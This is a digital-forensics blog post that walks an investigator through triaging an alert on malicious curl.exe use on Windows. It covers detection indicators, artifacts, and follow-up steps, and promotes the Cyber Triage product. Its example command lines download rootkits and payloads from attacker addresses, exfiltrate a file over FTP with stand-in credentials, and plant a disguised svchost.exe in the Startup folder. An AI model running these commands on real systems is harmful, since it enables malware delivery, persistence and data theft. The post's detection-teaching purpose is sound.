This post in the “DFIR Next Steps” series is about what to do when an alert relating to the use of curl.exe is raised. As with previous posts, we’ll cover how you can take this first indicator and then gather more clues about what happened in the attack.
Scenario
An alert is raised indicating access to a known malicious domain. The associated process was curl.exe, and it is suspected that curl was used to download a rootkit or malware to the host. This may come from Cyber Triage analysis of a host, antivirus detection, SIEM, or EDR alert.
When investigating this alert we are looking to:
- Confirm that the event is malicious
- Are there indications of access to bad or suspicious locations?
- What behaviors are regularly used by threat actors?
- Is this tool or command regularly used in the environment?
- Determine if the command executed successfully
- What artifacts are created on success?
- Did detection tools block anything?
- Identify what to look for next
- What level of access was required by the threat actor to launch curl.exe?
- What can be used to identify the compromised user account?
- What can we use to identify the source system?
- What can be used to identify other compromised hosts?
Here are some examples of malicious use of curl.exe in Cyber Triage.
Curl basics
Curl is probably the most widely used command line tool for transferring files over the TCP/IP. It consists of both a command line executable and a library, libcurl, that is embedded in a plethora of devices. It has been a standard tool in *nix systems since 1998 and was included as curl.exe with Windows 10 Insider Build 17063 in December 2017. It is a signed executable and is not detected as malicious by any AV products that we are aware of. This makes it an extremely attractive tool for threat actors to use to download or exfiltrate files to or from a compromised system.
From the MAN page:
curl is a tool for transferring data from or to a server. It supports these protocols: DICT, FILE, FTP, FTPS, GOPHER, GOPHERS, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, MQTT, POP3, POP3S, RTMP, RTMPS, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, TELNET, TFTP, WS and WSS. The command is designed to work without user interaction.
curl offers a busload of useful tricks like proxy support, user authen‐ tication, FTP upload, HTTP post, SSL connections, cookies, file trans‐ fer resume and more. As you will see below, the number of features will make your head spin.
At its most basic functionality, executing curl simply takes a destination file and URL as arguments, as per the examples here:
Using the -o (output option to write to a file)
curl -o rootkit.zip https://www.evilsite.com/rootkit.zip
Redirecting output to a file
curl https://www.evilsite.com/rootkit.zip > rootkit.zip
Uploading supersecret.zip via ftp (user badguy with password exfil)
curl -u badguy:exfil -T supersecret.zip ftp://84.32.190.45/uploads/
Unfortunately, as a simple command line tool, curl.exe does not record any history information, and does not record any entries in edge history, or create zone.identifier alternate data streams for downloaded files.
Curl being used to upload supersecret files to a remote IP address.
Confirming It’s Malicious
The first part of the investigation is to confirm that this was a malicious use of curl. This is pretty straightforward. If we have the full command, then we can check if:
- Attempts are made to connect to a known bad URL
- Attempts to download a suspicious filename
If we do not have the full command string (for example, if you have a prefetch reference to curl.exe), then we will need to look at timelining the process execution and identifying files that were created at that time.
Known bad arguments
While there are no ‘bad’ arguments to curl, there is some unusual behavior that may stand out if a threat actor is trying to download files via a reverse shell or remote command exploit, especially if they are operating with limited access or in a situation where they have a blind shell. While a regular user will tend to change into the desired working directory and use relative paths, a threat actor may use absolute paths, as they do not know what their working directory is. Examples of suspicious download paths are:
1. Using absolute paths
curl -o \users\Public\Documents\office.zip http://37.9.80.10/office.zip
2. Using environment variables. As with absolute paths, environment variables can be used to access a known writable location (most often the temp directory)
curl -o %temp%/tools.zip http://37.9.80.10/tools.zip
Another indicator is if the downloaded file extension does not match the source extension. In the example below, a file with a .html extension is downloaded and saved to a .exe
curl -o office.zip http://37.9.80.10/office.html
Or, we may see a combination of these. In the example below, an absolute path is used to save a ‘html’ file to a ‘.exe’ in the users startup folder. Note that in this case we also have a short(8.3) filename which avoids any issues caused by a space in the ‘start menu’ folder.
curl.exe -o %appdata%/Microsoft/Windows/STARTM~1/Programs/Startup/svchost.exe http://37.9.80.10/index2.html
Connection to a known bad IP or domain
In the examples above, we can see files being downloaded from 37.9.80.10. In this case, the IP is based in Russia and has some entries on common blacklists.
Is this tool or command regularly used in the environment?
Curl has been included with Windows for many years now. However, there are a lot of people who are not aware of its existence. So its use may be unusual on the host under investigation. There are a couple of ways to check if this is normal behavior:
- Check for other instances of curl.exe being launched. Within Cyber Triage, you can run an incident wide search for curl.exe.
- Ask the user if they use curl!
An incident search for curl.exe has found curl being used on two systems.
Did the command execute successfully?
Is there evidence of file download?
If curl was successfully used to download a file, then the file should exist on the filesystem. Depending on the arguments, the filename may be the same as the source, or it may have been renamed. Unless the user has specified an absolute path, you will need to determine the working directory from which curl was launched, or just run a keyword search for the file.
In this example, the created file would be named office.zip
curl -o office.zip http://37.9.80.10/office.html
Below you can see the results of a keyword search for office.zip, clearly showing the existence of the file on the system. As a bonus, we can see tar.exe being used to unpack the downloaded file!
A check of the owner (and/or the path) shows that it is the reynholm/douglas.reynholm account, and the file has been downloaded to the users temp folder!
Did protection tools block anything?
One thing to always check when starting a case is what defensive software is installed on the host. Far too often, there are cases where EDR is installed alongside local Anti-virus software and some threats are blocked by the local software before detection by the EDR. As a result, there is useful information about the attack in the local AV logs, which have not been reported to the centralized monitoring system. Cyber Triage will collect Microsoft Defender event logs by default.
Keep in mind that curl.exe is highly unlikely to be blocked, unless you are running some custom EDR rules; however, it is possible that the downloaded payload will be.
What to look for next?
When considering what other actions may have been taken on the system by the threat actor, it is important to understand where in the attack lifecycle this event has occurred. While the MITRE ATT&CK framework does not specifically call out curl, this activity can fall under T1105 Ingress Tool Transfer under TA0011 Command and Control or as data exfil under T1020, T1048 , T1011, T1567 or T1537. As with the certutil.exe example, this technique can be used to download tools at any stage of the attack lifecycle, while exfiltration tends to occur towards the end of the attack lifecycle.
What level of access was required by the threat actor to launch curl.exe?
Curl is accessible to any user and will work provided they have read or write permissions for the files they are trying to access. This is why you will often see files written to known writable locations such as %user%\appdata\temp or c:\users\public\downloads.
In our example, a local administrator account was used to run the command. This raises more red flags, and a review of other activity by this user, especially of logon activity, would be a good idea.
What can be used to identify the compromised user account?
Potential sources that can be used to identify the account used to execute curl include:
- User listed in security event logs
- Owner of any downloaded files
- User(s) logged on at the time of execution
In this case when we check the user details we can see that the user has also had some suspicious RDP activity.
What can we use to identify the remote host?
The download or upload URL will include the IP address or domain name of the remote system.
What can be used to identify other compromised hosts?
At the network level, a search of firewall, proxy, EDR, or DNS logs should identify other hosts that have connected to the remote host. References to the host can be found on hosts in DNS cache, active network connections, and process arguments. An incident search in Cyber Triage will identify any collected hosts that have also accessed the remote host.
What were the capabilities of the downloaded file(s)?
The files were downloaded onto the host for a reason. The downloaded files should be examined and their purpose identified. If the file is an executable, Cyber Triage will have already checked the hash against the reversing labs database. If the hash is unknown, the file will have been uploaded and scanned with multiple antivirus engines. However, if the file is extracted as an archive (e.g. .zip file), the contents will need to be unpacked and added to Cyber Triage as logical files. The files can be detonated in the Recorded Future sandbox by right clicking and selecting the “submit to Recorded Future” option.
Conclusion
Curl is a Windows utility present in all versions of Microsoft Windows since late 2017. It can be exploited to download or upload files from any remote system via many protocols. If a suspicious use of curl.exe is identified, you should verify that it is malicious, identify the user account that launched it and server hosting the downloaded files, examine the capabilities of the downloaded file, and start searching for other impacted hosts. A review of all activity by the compromised account should be conducted in order to determine other actions taken by the threat actor and how they were able to execute the command on the compromised host.
If you want to make your Incident Response investigations more efficient, try a demo of Cyber Triage today.
